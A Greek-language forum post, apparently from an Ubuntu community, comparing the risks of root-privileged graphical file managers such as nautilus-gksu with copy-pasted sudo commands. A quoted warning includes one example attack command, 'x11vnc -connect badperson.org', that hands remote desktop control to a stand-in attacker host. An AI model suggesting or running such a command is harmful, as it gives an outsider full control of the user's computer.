Δημοσιεύτηκε: 06 Μάιος 2011, 22:46
από ktogias
simosx έγραψε:Μπορώ να γράψω το ίδιο και για τη χρήση της γραμμής εντολής με εντολές sudo που ο χρήστης δεν έχει ιδέα τι μπορεί να εκτελεί. Για παράδειγμα, μπορεί κάποιος κακόβουλος να πει σε ένα χρήστη να τρέξει «x11vnc -connect badperson.org», που θα έχει ως αποτέλεσμα τον πλήρη έλεγχου του υπολογιστή του χρήστη. (η εντολή αυτή επιτρέπει τον πλήρη έλεγχο της επιφάνειας εργασίας από ένα τρίτο χρήστη μέσω διαδικτύου). Και αρκετοί από τους νέους χρήστες έχουν το φόβο της γραμμής εντολής, και η εικόνα που έχουν από το Linux είναι ακαταλλαβίστικες εντολές.


Αναφερόμουν στους κινδύνους λάθος χειρισμού όταν χρησιμοποιείς γραφικά point'n'click εργαλεία διαχείρισης αρχείων με δικαιώματα υπερχρήστη. Ο κίνδυνος να πέσει κάποιος θύμα εξαπάτησης είτε κάνοντας copy-paste εντολές, είτε κλικ και drag χωρίς να καταλαβαίνει τι κάνει είναι ο ίδιος και στις δύο περιπτώσεις και οφείλεται όχι στον τρόπο αλληλεπίδρασης, αλλά στο γεγονός ότι δεν καταλαβαίνει τι κάνει. Γενικά λοιπόν πρέπει να μάθουν οι χρήστες να μην κάνουν μηχανικά κάτι χωρίς να καταλαβαίνουν τι κάνουν, είτε πρόκειται για εντολές, είτε πρόκειται για κλικ. Γι' αυτό άλλωστε παραθέτω και τα man για να δαβάσει και να καταλάβει κάποιος τι κάνει κάθε εντολή πριν την τρέξει. Ο φυσιολογικός ως ένα βαθμό φόβος των αρχαρίων προς την κονσόλα και τις εντολές, εδώ μπορεί να έχει θετικό αντίκτυπο: Πιο δύσκολα τολμάς να τρέξεις μια εντολή που δεν καταλαβαίνεις τι κάνει, παρά να κάνεις κλικ στο κουμπί ενός ωραίου παραθύρου που πάλι δεν καταλαβαίνεις τι κάνει. Το γραφικό περιβάλλον μπορεί να σε ξεγελάσει με τη φιλικότητα: "Ένα κουμπί πάτησα... Τι μπορεί να γίνει;"

Σχετικά με το nautilus-gksu, θα άρχιζα να το προτείνω με λιγότερη επιφύλαξη αν:
1. Εξ ορισμού διέφερε εμφανώς και με τρόπο που να σου εφιστά την προσοχή το παράθυρο με δικαιώματα root.
2. Όταν άνοιγες ένα φάκελο με δικαιώματα root δεν σε άφηνε να βγεις έξω (πάνω) από αυτόν.
Δυστυχώς κανένα από τα 2 δεν ισχύει σε μια στάνταρ εγκατάσταση :( ... Ποιος έχει λίγο χρόνο να τα ρίξει στη wishlist των nautilus / ubuntu, αν δεν υπάρχουν ήδη;